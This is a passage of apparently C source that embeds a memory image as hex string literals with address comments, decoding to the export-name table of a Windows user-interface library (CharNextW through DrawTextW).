\"\\x41\\x00\\x43\\x68\\x61\\x72\\x4E\\x65\\x78\\x74\\x57\\x00\\x43\\x68\\x61\\x72\"   //A.CharNextW.Char\n/* 7E4178A0 */   \"\\x50\\x72\\x65\\x76\\x41\\x00\\x43\\x68\\x61\\x72\\x50\\x72\\x65\\x76\\x45\\x78\"   //PrevA.CharPrevEx\n/* 7E4178C0 */   \"\\x41\\x00\\x43\\x68\\x61\\x72\\x50\\x72\\x65\\x76\\x57\\x00\\x43\\x68\\x61\\x72\"   //A.CharPrevW.Char\n/* 7E4178E0 */   \"\\x54\\x6F\\x4F\\x65\\x6D\\x41\\x00\\x43\\x68\\x61\\x72\\x54\\x6F\\x4F\\x65\\x6D\"   //ToOemA.CharToOem\n/* 7E417900 */   \"\\x42\\x75\\x66\\x66\\x41\\x00\\x43\\x68\\x61\\x72\\x54\\x6F\\x4F\\x65\\x6D\\x42\"   //BuffA.CharToOemB\n/* 7E417920 */   \"\\x75\\x66\\x66\\x57\\x00\\x43\\x68\\x61\\x72\\x54\\x6F\\x4F\\x65\\x6D\\x57\\x00\"   //uffW.CharToOemW.\n/* 7E417940 */   \"\\x43\\x68\\x61\\x72\\x55\\x70\\x70\\x65\\x72\\x41\\x00\\x43\\x68\\x61\\x72\\x55\"   //CharUpperA.CharU\n/* 7E417960 */   \"\\x70\\x70\\x65\\x72\\x42\\x75\\x66\\x66\\x41\\x00\\x43\\x68\\x61\\x72\\x55\\x70\"   //pperBuffA.CharUp\n/* 7E417980 */   \"\\x70\\x65\\x72\\x42\\x75\\x66\\x66\\x57\\x00\\x43\\x68\\x61\\x72\\x55\\x70\\x70\"   //perBuffW.CharUpp\n/* 7E4179A0 */   \"\\x65\\x72\\x57\\x00\\x43\\x68\\x65\\x63\\x6B\\x44\\x6C\\x67\\x42\\x75\\x74\\x74\"   //erW.CheckDlgButt\n/* 7E4179C0 */   \"\\x6F\\x6E\\x00\\x43\\x68\\x65\\x63\\x6B\\x4D\\x65\\x6E\\x75\\x49\\x74\\x65\\x6D\"   //on.CheckMenuItem\n/* 7E4179E0 */   \"\\x00\\x43\\x68\\x65\\x63\\x6B\\x4D\\x65\\x6E\\x75\\x52\\x61\\x64\\x69\\x6F\\x49\"   //.CheckMenuRadioI\n/* 7E417A00 */   \"\\x74\\x65\\x6D\\x00\\x43\\x68\\x65\\x63\\x6B\\x52\\x61\\x64\\x69\\x6F\\x42\\x75\"   //tem.CheckRadioBu\n/* 7E417A20 */   \"\\x74\\x74\\x6F\\x6E\\x00\\x43\\x68\\x69\\x6C\\x64\\x57\\x69\\x6E\\x64\\x6F\\x77\"   //tton.ChildWindow\n/* 7E417A40 */   \"\\x46\\x72\\x6F\\x6D\\x50\\x6F\\x69\\x6E\\x74\\x00\\x43\\x68\\x69\\x6C\\x64\\x57\"   //FromPoint.ChildW\n/* 7E417A60 */   \"\\x69\\x6E\\x64\\x6F\\x77\\x46\\x72\\x6F\\x6D\\x50\\x6F\\x69\\x6E\\x74\\x45\\x78\"   //indowFromPointEx\n/* 7E417A80 */   \"\\x00\\x43\\x6C\\x69\\x49\\x6D\\x6D\\x53\\x65\\x74\\x48\\x6F\\x74\\x4B\\x65\\x79\"   //.CliImmSetHotKey\n/* 7E417AA0 */   \"\\x00\\x43\\x6C\\x69\\x65\\x6E\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x53\\x65\\x74\"   //.ClientThreadSet\n/* 7E417AC0 */   \"\\x75\\x70\\x00\\x43\\x6C\\x69\\x65\\x6E\\x74\\x54\\x6F\\x53\\x63\\x72\\x65\\x65\"   //up.ClientToScree\n/* 7E417AE0 */   \"\\x6E\\x00\\x43\\x6C\\x69\\x70\\x43\\x75\\x72\\x73\\x6F\\x72\\x00\\x43\\x6C\\x6F\"   //n.ClipCursor.Clo\n/* 7E417B00 */   \"\\x73\\x65\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\\x00\\x43\\x6C\\x6F\\x73\"   //seClipboard.Clos\n/* 7E417B20 */   \"\\x65\\x44\\x65\\x73\\x6B\\x74\\x6F\\x70\\x00\\x43\\x6C\\x6F\\x73\\x65\\x57\\x69\"   //eDesktop.CloseWi\n/* 7E417B40 */   \"\\x6E\\x64\\x6F\\x77\\x00\\x43\\x6C\\x6F\\x73\\x65\\x57\\x69\\x6E\\x64\\x6F\\x77\"   //ndow.CloseWindow\n/* 7E417B60 */   \"\\x53\\x74\\x61\\x74\\x69\\x6F\\x6E\\x00\\x43\\x6F\\x70\\x79\\x41\\x63\\x63\\x65\"   //Station.CopyAcce\n/* 7E417B80 */   \"\\x6C\\x65\\x72\\x61\\x74\\x6F\\x72\\x54\\x61\\x62\\x6C\\x65\\x41\\x00\\x43\\x6F\"   //leratorTableA.Co\n/* 7E417BA0 */   \"\\x70\\x79\\x41\\x63\\x63\\x65\\x6C\\x65\\x72\\x61\\x74\\x6F\\x72\\x54\\x61\\x62\"   //pyAcceleratorTab\n/* 7E417BC0 */   \"\\x6C\\x65\\x57\\x00\\x43\\x6F\\x70\\x79\\x49\\x63\\x6F\\x6E\\x00\\x43\\x6F\\x70\"   //leW.CopyIcon.Cop\n/* 7E417BE0 */   \"\\x79\\x49\\x6D\\x61\\x67\\x65\\x00\\x43\\x6F\\x70\\x79\\x52\\x65\\x63\\x74\\x00\"   //yImage.CopyRect.\n/* 7E417C00 */   \"\\x43\\x6F\\x75\\x6E\\x74\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\\x72\\x64\\x46\\x6F\"   //CountClipboardFo\n/* 7E417C20 */   \"\\x72\\x6D\\x61\\x74\\x73\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x41\\x63\\x63\\x65\"   //rmats.CreateAcce\n/* 7E417C40 */   \"\\x6C\\x65\\x72\\x61\\x74\\x6F\\x72\\x54\\x61\\x62\\x6C\\x65\\x41\\x00\\x43\\x72\"   //leratorTableA.Cr\n/* 7E417C60 */   \"\\x65\\x61\\x74\\x65\\x41\\x63\\x63\\x65\\x6C\\x65\\x72\\x61\\x74\\x6F\\x72\\x54\"   //eateAcceleratorT\n/* 7E417C80 */   \"\\x61\\x62\\x6C\\x65\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x43\\x61\\x72\\x65\"   //ableW.CreateCare\n/* 7E417CA0 */   \"\\x74\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x43\\x75\\x72\\x73\\x6F\\x72\\x00\\x43\"   //t.CreateCursor.C\n/* 7E417CC0 */   \"\\x72\\x65\\x61\\x74\\x65\\x44\\x65\\x73\\x6B\\x74\\x6F\\x70\\x41\\x00\\x43\\x72\"   //reateDesktopA.Cr\n/* 7E417CE0 */   \"\\x65\\x61\\x74\\x65\\x44\\x65\\x73\\x6B\\x74\\x6F\\x70\\x57\\x00\\x43\\x72\\x65\"   //eateDesktopW.Cre\n/* 7E417D00 */   \"\\x61\\x74\\x65\\x44\\x69\\x61\\x6C\\x6F\\x67\\x49\\x6E\\x64\\x69\\x72\\x65\\x63\"   //ateDialogIndirec\n/* 7E417D20 */   \"\\x74\\x50\\x61\\x72\\x61\\x6D\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x44\\x69\"   //tParamA.CreateDi\n/* 7E417D40 */   \"\\x61\\x6C\\x6F\\x67\\x49\\x6E\\x64\\x69\\x72\\x65\\x63\\x74\\x50\\x61\\x72\\x61\"   //alogIndirectPara\n/* 7E417D60 */   \"\\x6D\\x41\\x6F\\x72\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x44\\x69\\x61\\x6C\"   //mAorW.CreateDial\n/* 7E417D80 */   \"\\x6F\\x67\\x49\\x6E\\x64\\x69\\x72\\x65\\x63\\x74\\x50\\x61\\x72\\x61\\x6D\\x57\"   //ogIndirectParamW\n/* 7E417DA0 */   \"\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x44\\x69\\x61\\x6C\\x6F\\x67\\x50\\x61\\x72\"   //.CreateDialogPar\n/* 7E417DC0 */   \"\\x61\\x6D\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x44\\x69\\x61\\x6C\\x6F\\x67\"   //amA.CreateDialog\n/* 7E417DE0 */   \"\\x50\\x61\\x72\\x61\\x6D\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x49\\x63\\x6F\"   //ParamW.CreateIco\n/* 7E417E00 */   \"\\x6E\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x49\\x63\\x6F\\x6E\\x46\\x72\\x6F\\x6D\"   //n.CreateIconFrom\n/* 7E417E20 */   \"\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x49\"   //Resource.CreateI\n/* 7E417E40 */   \"\\x63\\x6F\\x6E\\x46\\x72\\x6F\\x6D\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x45\"   //conFromResourceE\n/* 7E417E60 */   \"\\x78\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x49\\x63\\x6F\\x6E\\x49\\x6E\\x64\\x69\"   //x.CreateIconIndi\n/* 7E417E80 */   \"\\x72\\x65\\x63\\x74\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x4D\\x44\\x49\\x57\\x69\"   //rect.CreateMDIWi\n/* 7E417EA0 */   \"\\x6E\\x64\\x6F\\x77\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x4D\\x44\\x49\\x57\"   //ndowA.CreateMDIW\n/* 7E417EC0 */   \"\\x69\\x6E\\x64\\x6F\\x77\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x4D\\x65\\x6E\"   //indowW.CreateMen\n/* 7E417EE0 */   \"\\x75\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x6F\\x70\\x75\\x70\\x4D\\x65\\x6E\"   //u.CreatePopupMen\n/* 7E417F00 */   \"\\x75\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x68\"   //u.CreateSystemTh\n/* 7E417F20 */   \"\\x72\\x65\\x61\\x64\\x73\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x57\\x69\\x6E\\x64\"   //reads.CreateWind\n/* 7E417F40 */   \"\\x6F\\x77\\x45\\x78\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x57\\x69\\x6E\\x64\"   //owExA.CreateWind\n/* 7E417F60 */   \"\\x6F\\x77\\x45\\x78\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x57\\x69\\x6E\\x64\"   //owExW.CreateWind\n/* 7E417F80 */   \"\\x6F\\x77\\x53\\x74\\x61\\x74\\x69\\x6F\\x6E\\x41\\x00\\x43\\x72\\x65\\x61\\x74\"   //owStationA.Creat\n/* 7E417FA0 */   \"\\x65\\x57\\x69\\x6E\\x64\\x6F\\x77\\x53\\x74\\x61\\x74\\x69\\x6F\\x6E\\x57\\x00\"   //eWindowStationW.\n/* 7E417FC0 */   \"\\x43\\x73\\x72\\x42\\x72\\x6F\\x61\\x64\\x63\\x61\\x73\\x74\\x53\\x79\\x73\\x74\"   //CsrBroadcastSyst\n/* 7E417FE0 */   \"\\x65\\x6D\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x45\\x78\\x57\\x00\\x43\\x74\\x78\"   //emMessageExW.Ctx\n/* 7E418000 */   \"\\x49\\x6E\\x69\\x74\\x55\\x73\\x65\\x72\\x33\\x32\\x00\\x44\\x64\\x65\\x41\\x62\"   //InitUser32.DdeAb\n/* 7E418020 */   \"\\x61\\x6E\\x64\\x6F\\x6E\\x54\\x72\\x61\\x6E\\x73\\x61\\x63\\x74\\x69\\x6F\\x6E\"   //andonTransaction\n/* 7E418040 */   \"\\x00\\x44\\x64\\x65\\x41\\x63\\x63\\x65\\x73\\x73\\x44\\x61\\x74\\x61\\x00\\x44\"   //.DdeAccessData.D\n/* 7E418060 */   \"\\x64\\x65\\x41\\x64\\x64\\x44\\x61\\x74\\x61\\x00\\x44\\x64\\x65\\x43\\x6C\\x69\"   //deAddData.DdeCli\n/* 7E418080 */   \"\\x65\\x6E\\x74\\x54\\x72\\x61\\x6E\\x73\\x61\\x63\\x74\\x69\\x6F\\x6E\\x00\\x44\"   //entTransaction.D\n/* 7E4180A0 */   \"\\x64\\x65\\x43\\x6D\\x70\\x53\\x74\\x72\\x69\\x6E\\x67\\x48\\x61\\x6E\\x64\\x6C\"   //deCmpStringHandl\n/* 7E4180C0 */   \"\\x65\\x73\\x00\\x44\\x64\\x65\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x00\\x44\\x64\"   //es.DdeConnect.Dd\n/* 7E4180E0 */   \"\\x65\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x4C\\x69\\x73\\x74\\x00\\x44\\x64\\x65\"   //eConnectList.Dde\n/* 7E418100 */   \"\\x43\\x72\\x65\\x61\\x74\\x65\\x44\\x61\\x74\\x61\\x48\\x61\\x6E\\x64\\x6C\\x65\"   //CreateDataHandle\n/* 7E418120 */   \"\\x00\\x44\\x64\\x65\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\"   //.DdeCreateString\n/* 7E418140 */   \"\\x48\\x61\\x6E\\x64\\x6C\\x65\\x41\\x00\\x44\\x64\\x65\\x43\\x72\\x65\\x61\\x74\"   //HandleA.DdeCreat\n/* 7E418160 */   \"\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x48\\x61\\x6E\\x64\\x6C\\x65\\x57\\x00\\x44\"   //eStringHandleW.D\n/* 7E418180 */   \"\\x64\\x65\\x44\\x69\\x73\\x63\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x00\\x44\\x64\\x65\"   //deDisconnect.Dde\n/* 7E4181A0 */   \"\\x44\\x69\\x73\\x63\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x4C\\x69\\x73\\x74\\x00\\x44\"   //DisconnectList.D\n/* 7E4181C0 */   \"\\x64\\x65\\x45\\x6E\\x61\\x62\\x6C\\x65\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\"   //deEnableCallback\n/* 7E4181E0 */   \"\\x00\\x44\\x64\\x65\\x46\\x72\\x65\\x65\\x44\\x61\\x74\\x61\\x48\\x61\\x6E\\x64\"   //.DdeFreeDataHand\n/* 7E418200 */   \"\\x6C\\x65\\x00\\x44\\x64\\x65\\x46\\x72\\x65\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\"   //le.DdeFreeString\n/* 7E418220 */   \"\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x44\\x64\\x65\\x47\\x65\\x74\\x44\\x61\\x74\"   //Handle.DdeGetDat\n/* 7E418240 */   \"\\x61\\x00\\x44\\x64\\x65\\x47\\x65\\x74\\x4C\\x61\\x73\\x74\\x45\\x72\\x72\\x6F\"   //a.DdeGetLastErro\n/* 7E418260 */   \"\\x72\\x00\\x44\\x64\\x65\\x47\\x65\\x74\\x51\\x75\\x61\\x6C\\x69\\x74\\x79\\x4F\"   //r.DdeGetQualityO\n/* 7E418280 */   \"\\x66\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x00\\x44\\x64\\x65\\x49\\x6D\\x70\\x65\"   //fService.DdeImpe\n/* 7E4182A0 */   \"\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x43\\x6C\\x69\\x65\\x6E\\x74\\x00\\x44\\x64\"   //rsonateClient.Dd\n/* 7E4182C0 */   \"\\x65\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x41\\x00\\x44\\x64\\x65\"   //eInitializeA.Dde\n/* 7E4182E0 */   \"\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x57\\x00\\x44\\x64\\x65\\x4B\"   //InitializeW.DdeK\n/* 7E418300 */   \"\\x65\\x65\\x70\\x53\\x74\\x72\\x69\\x6E\\x67\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\"   //eepStringHandle.\n/* 7E418320 */   \"\\x44\\x64\\x65\\x4E\\x61\\x6D\\x65\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x00\\x44\"   //DdeNameService.D\n/* 7E418340 */   \"\\x64\\x65\\x50\\x6F\\x73\\x74\\x41\\x64\\x76\\x69\\x73\\x65\\x00\\x44\\x64\\x65\"   //dePostAdvise.Dde\n/* 7E418360 */   \"\\x51\\x75\\x65\\x72\\x79\\x43\\x6F\\x6E\\x76\\x49\\x6E\\x66\\x6F\\x00\\x44\\x64\"   //QueryConvInfo.Dd\n/* 7E418380 */   \"\\x65\\x51\\x75\\x65\\x72\\x79\\x4E\\x65\\x78\\x74\\x53\\x65\\x72\\x76\\x65\\x72\"   //eQueryNextServer\n/* 7E4183A0 */   \"\\x00\\x44\\x64\\x65\\x51\\x75\\x65\\x72\\x79\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\"   //.DdeQueryStringA\n/* 7E4183C0 */   \"\\x00\\x44\\x64\\x65\\x51\\x75\\x65\\x72\\x79\\x53\\x74\\x72\\x69\\x6E\\x67\\x57\"   //.DdeQueryStringW\n/* 7E4183E0 */   \"\\x00\\x44\\x64\\x65\\x52\\x65\\x63\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x00\\x44\\x64\"   //.DdeReconnect.Dd\n/* 7E418400 */   \"\\x65\\x53\\x65\\x74\\x51\\x75\\x61\\x6C\\x69\\x74\\x79\\x4F\\x66\\x53\\x65\\x72\"   //eSetQualityOfSer\n/* 7E418420 */   \"\\x76\\x69\\x63\\x65\\x00\\x44\\x64\\x65\\x53\\x65\\x74\\x55\\x73\\x65\\x72\\x48\"   //vice.DdeSetUserH\n/* 7E418440 */   \"\\x61\\x6E\\x64\\x6C\\x65\\x00\\x44\\x64\\x65\\x55\\x6E\\x61\\x63\\x63\\x65\\x73\"   //andle.DdeUnacces\n/* 7E418460 */   \"\\x73\\x44\\x61\\x74\\x61\\x00\\x44\\x64\\x65\\x55\\x6E\\x69\\x6E\\x69\\x74\\x69\"   //sData.DdeUniniti\n/* 7E418480 */   \"\\x61\\x6C\\x69\\x7A\\x65\\x00\\x44\\x65\\x66\\x44\\x6C\\x67\\x50\\x72\\x6F\\x63\"   //alize.DefDlgProc\n/* 7E4184A0 */   \"\\x41\\x00\\x44\\x65\\x66\\x44\\x6C\\x67\\x50\\x72\\x6F\\x63\\x57\\x00\\x44\\x65\"   //A.DefDlgProcW.De\n/* 7E4184C0 */   \"\\x66\\x46\\x72\\x61\\x6D\\x65\\x50\\x72\\x6F\\x63\\x41\\x00\\x44\\x65\\x66\\x46\"   //fFrameProcA.DefF\n/* 7E4184E0 */   \"\\x72\\x61\\x6D\\x65\\x50\\x72\\x6F\\x63\\x57\\x00\\x44\\x65\\x66\\x4D\\x44\\x49\"   //rameProcW.DefMDI\n/* 7E418500 */   \"\\x43\\x68\\x69\\x6C\\x64\\x50\\x72\\x6F\\x63\\x41\\x00\\x44\\x65\\x66\\x4D\\x44\"   //ChildProcA.DefMD\n/* 7E418520 */   \"\\x49\\x43\\x68\\x69\\x6C\\x64\\x50\\x72\\x6F\\x63\\x57\\x00\\x44\\x65\\x66\\x52\"   //IChildProcW.DefR\n/* 7E418540 */   \"\\x61\\x77\\x49\\x6E\\x70\\x75\\x74\\x50\\x72\\x6F\\x63\\x00\\x44\\x65\\x66\\x57\"   //awInputProc.DefW\n/* 7E418560 */   \"\\x69\\x6E\\x64\\x6F\\x77\\x50\\x72\\x6F\\x63\\x41\\x00\\x44\\x65\\x66\\x57\\x69\"   //indowProcA.DefWi\n/* 7E418580 */   \"\\x6E\\x64\\x6F\\x77\\x50\\x72\\x6F\\x63\\x57\\x00\\x44\\x65\\x66\\x65\\x72\\x57\"   //ndowProcW.DeferW\n/* 7E4185A0 */   \"\\x69\\x6E\\x64\\x6F\\x77\\x50\\x6F\\x73\\x00\\x44\\x65\\x6C\\x65\\x74\\x65\\x4D\"   //indowPos.DeleteM\n/* 7E4185C0 */   \"\\x65\\x6E\\x75\\x00\\x44\\x65\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x53\\x68\"   //enu.DeregisterSh\n/* 7E4185E0 */   \"\\x65\\x6C\\x6C\\x48\\x6F\\x6F\\x6B\\x57\\x69\\x6E\\x64\\x6F\\x77\\x00\\x44\\x65\"   //ellHookWindow.De\n/* 7E418600 */   \"\\x73\\x74\\x72\\x6F\\x79\\x41\\x63\\x63\\x65\\x6C\\x65\\x72\\x61\\x74\\x6F\\x72\"   //stroyAccelerator\n/* 7E418620 */   \"\\x54\\x61\\x62\\x6C\\x65\\x00\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x43\\x61\\x72\"   //Table.DestroyCar\n/* 7E418640 */   \"\\x65\\x74\\x00\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x43\\x75\\x72\\x73\\x6F\\x72\"   //et.DestroyCursor\n/* 7E418660 */   \"\\x00\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x49\\x63\\x6F\\x6E\\x00\\x44\\x65\\x73\"   //.DestroyIcon.Des\n/* 7E418680 */   \"\\x74\\x72\\x6F\\x79\\x4D\\x65\\x6E\\x75\\x00\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\"   //troyMenu.Destroy\n/* 7E4186A0 */   \"\\x52\\x65\\x61\\x73\\x6F\\x6E\\x73\\x00\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x57\"   //Reasons.DestroyW\n/* 7E4186C0 */   \"\\x69\\x6E\\x64\\x6F\\x77\\x00\\x44\\x65\\x76\\x69\\x63\\x65\\x45\\x76\\x65\\x6E\"   //indow.DeviceEven\n/* 7E4186E0 */   \"\\x74\\x57\\x6F\\x72\\x6B\\x65\\x72\\x00\\x44\\x69\\x61\\x6C\\x6F\\x67\\x42\\x6F\"   //tWorker.DialogBo\n/* 7E418700 */   \"\\x78\\x49\\x6E\\x64\\x69\\x72\\x65\\x63\\x74\\x50\\x61\\x72\\x61\\x6D\\x41\\x00\"   //xIndirectParamA.\n/* 7E418720 */   \"\\x44\\x69\\x61\\x6C\\x6F\\x67\\x42\\x6F\\x78\\x49\\x6E\\x64\\x69\\x72\\x65\\x63\"   //DialogBoxIndirec\n/* 7E418740 */   \"\\x74\\x50\\x61\\x72\\x61\\x6D\\x41\\x6F\\x72\\x57\\x00\\x44\\x69\\x61\\x6C\\x6F\"   //tParamAorW.Dialo\n/* 7E418760 */   \"\\x67\\x42\\x6F\\x78\\x49\\x6E\\x64\\x69\\x72\\x65\\x63\\x74\\x50\\x61\\x72\\x61\"   //gBoxIndirectPara\n/* 7E418780 */   \"\\x6D\\x57\\x00\\x44\\x69\\x61\\x6C\\x6F\\x67\\x42\\x6F\\x78\\x50\\x61\\x72\\x61\"   //mW.DialogBoxPara\n/* 7E4187A0 */   \"\\x6D\\x41\\x00\\x44\\x69\\x61\\x6C\\x6F\\x67\\x42\\x6F\\x78\\x50\\x61\\x72\\x61\"   //mA.DialogBoxPara\n/* 7E4187C0 */   \"\\x6D\\x57\\x00\\x44\\x69\\x73\\x61\\x62\\x6C\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\"   //mW.DisableProces\n/* 7E4187E0 */   \"\\x73\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x47\\x68\\x6F\\x73\\x74\\x69\\x6E\\x67\"   //sWindowsGhosting\n/* 7E418800 */   \"\\x00\\x44\\x69\\x73\\x70\\x61\\x74\\x63\\x68\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\"   //.DispatchMessage\n/* 7E418820 */   \"\\x41\\x00\\x44\\x69\\x73\\x70\\x61\\x74\\x63\\x68\\x4D\\x65\\x73\\x73\\x61\\x67\"   //A.DispatchMessag\n/* 7E418840 */   \"\\x65\\x57\\x00\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x45\\x78\\x69\\x74\\x57\\x69\"   //eW.DisplayExitWi\n/* 7E418860 */   \"\\x6E\\x64\\x6F\\x77\\x73\\x57\\x61\\x72\\x6E\\x69\\x6E\\x67\\x73\\x00\\x44\\x6C\"   //ndowsWarnings.Dl\n/* 7E418880 */   \"\\x67\\x44\\x69\\x72\\x4C\\x69\\x73\\x74\\x41\\x00\\x44\\x6C\\x67\\x44\\x69\\x72\"   //gDirListA.DlgDir\n/* 7E4188A0 */   \"\\x4C\\x69\\x73\\x74\\x43\\x6F\\x6D\\x62\\x6F\\x42\\x6F\\x78\\x41\\x00\\x44\\x6C\"   //ListComboBoxA.Dl\n/* 7E4188C0 */   \"\\x67\\x44\\x69\\x72\\x4C\\x69\\x73\\x74\\x43\\x6F\\x6D\\x62\\x6F\\x42\\x6F\\x78\"   //gDirListComboBox\n/* 7E4188E0 */   \"\\x57\\x00\\x44\\x6C\\x67\\x44\\x69\\x72\\x4C\\x69\\x73\\x74\\x57\\x00\\x44\\x6C\"   //W.DlgDirListW.Dl\n/* 7E418900 */   \"\\x67\\x44\\x69\\x72\\x53\\x65\\x6C\\x65\\x63\\x74\\x43\\x6F\\x6D\\x62\\x6F\\x42\"   //gDirSelectComboB\n/* 7E418920 */   \"\\x6F\\x78\\x45\\x78\\x41\\x00\\x44\\x6C\\x67\\x44\\x69\\x72\\x53\\x65\\x6C\\x65\"   //oxExA.DlgDirSele\n/* 7E418940 */   \"\\x63\\x74\\x43\\x6F\\x6D\\x62\\x6F\\x42\\x6F\\x78\\x45\\x78\\x57\\x00\\x44\\x6C\"   //ctComboBoxExW.Dl\n/* 7E418960 */   \"\\x67\\x44\\x69\\x72\\x53\\x65\\x6C\\x65\\x63\\x74\\x45\\x78\\x41\\x00\\x44\\x6C\"   //gDirSelectExA.Dl\n/* 7E418980 */   \"\\x67\\x44\\x69\\x72\\x53\\x65\\x6C\\x65\\x63\\x74\\x45\\x78\\x57\\x00\\x44\\x72\"   //gDirSelectExW.Dr\n/* 7E4189A0 */   \"\\x61\\x67\\x44\\x65\\x74\\x65\\x63\\x74\\x00\\x44\\x72\\x61\\x67\\x4F\\x62\\x6A\"   //agDetect.DragObj\n/* 7E4189C0 */   \"\\x65\\x63\\x74\\x00\\x44\\x72\\x61\\x77\\x41\\x6E\\x69\\x6D\\x61\\x74\\x65\\x64\"   //ect.DrawAnimated\n/* 7E4189E0 */   \"\\x52\\x65\\x63\\x74\\x73\\x00\\x44\\x72\\x61\\x77\\x43\\x61\\x70\\x74\\x69\\x6F\"   //Rects.DrawCaptio\n/* 7E418A00 */   \"\\x6E\\x00\\x44\\x72\\x61\\x77\\x43\\x61\\x70\\x74\\x69\\x6F\\x6E\\x54\\x65\\x6D\"   //n.DrawCaptionTem\n/* 7E418A20 */   \"\\x70\\x41\\x00\\x44\\x72\\x61\\x77\\x43\\x61\\x70\\x74\\x69\\x6F\\x6E\\x54\\x65\"   //pA.DrawCaptionTe\n/* 7E418A40 */   \"\\x6D\\x70\\x57\\x00\\x44\\x72\\x61\\x77\\x45\\x64\\x67\\x65\\x00\\x44\\x72\\x61\"   //mpW.DrawEdge.Dra\n/* 7E418A60 */   \"\\x77\\x46\\x6F\\x63\\x75\\x73\\x52\\x65\\x63\\x74\\x00\\x44\\x72\\x61\\x77\\x46\"   //wFocusRect.DrawF\n/* 7E418A80 */   \"\\x72\\x61\\x6D\\x65\\x00\\x44\\x72\\x61\\x77\\x46\\x72\\x61\\x6D\\x65\\x43\\x6F\"   //rame.DrawFrameCo\n/* 7E418AA0 */   \"\\x6E\\x74\\x72\\x6F\\x6C\\x00\\x44\\x72\\x61\\x77\\x49\\x63\\x6F\\x6E\\x00\\x44\"   //ntrol.DrawIcon.D\n/* 7E418AC0 */   \"\\x72\\x61\\x77\\x49\\x63\\x6F\\x6E\\x45\\x78\\x00\\x44\\x72\\x61\\x77\\x4D\\x65\"   //rawIconEx.DrawMe\n/* 7E418AE0 */   \"\\x6E\\x75\\x42\\x61\\x72\\x00\\x44\\x72\\x61\\x77\\x4D\\x65\\x6E\\x75\\x42\\x61\"   //nuBar.DrawMenuBa\n/* 7E418B00 */   \"\\x72\\x54\\x65\\x6D\\x70\\x00\\x44\\x72\\x61\\x77\\x53\\x74\\x61\\x74\\x65\\x41\"   //rTemp.DrawStateA\n/* 7E418B20 */   \"\\x00\\x44\\x72\\x61\\x77\\x53\\x74\\x61\\x74\\x65\\x57\\x00\\x44\\x72\\x61\\x77\"   //.DrawStateW.Draw\n/* 7E418B40 */   \"\\x54\\x65\\x78\\x74\\x41\\x00\\x44\\x72\\x61\\x77\\x54\\x65\\x78\\x74\\x45\\x78\"   //TextA.DrawTextEx\n/* 7E418B60 */   \"\\x41\\x00\\x44\\x72\\x61\\x77\\x54\\x65\\x78\\x74\\x45\\x78\\x57\\x00\\x44\\x72\"   //A.DrawTextExW.Dr\n/* 7E418B80 */   \"\\x61\\x77\\x54\\x65\\x78\\x74\\x57\\x00\\x45\\x64\\x69\\x74\\x57\\x6E\\x64\\x50\"   //awTextW.EditWndP\n/* 7E418BA0 */   \"\\x72\\x6F\\x63\\x00\\x45\\x6D\\x70\\x74\\x79\\x43\\x6C\\x69\\x70\\x62\\x6F\\x61\"   //roc.EmptyClipboa\n/* 7E418BC0 */   \"\\x72\\x64\\x00\\x45\\x6E\\x61\\x62\\x6C\\x65\\x4D\\x65\\x6E\\x75\\x49\\x74\\x65\"   //rd.EnableMenuIte\n/* 7E418BE0 */   \"\\x6D\\x00\\x45\\x6E\\x61\\x62\\x6C\\x65\\x53\\x63\\x72\\x6F\\x6C\\x6C\\x42\\x61\"   //m.EnableScrollBa\n/* 7E418C00 */   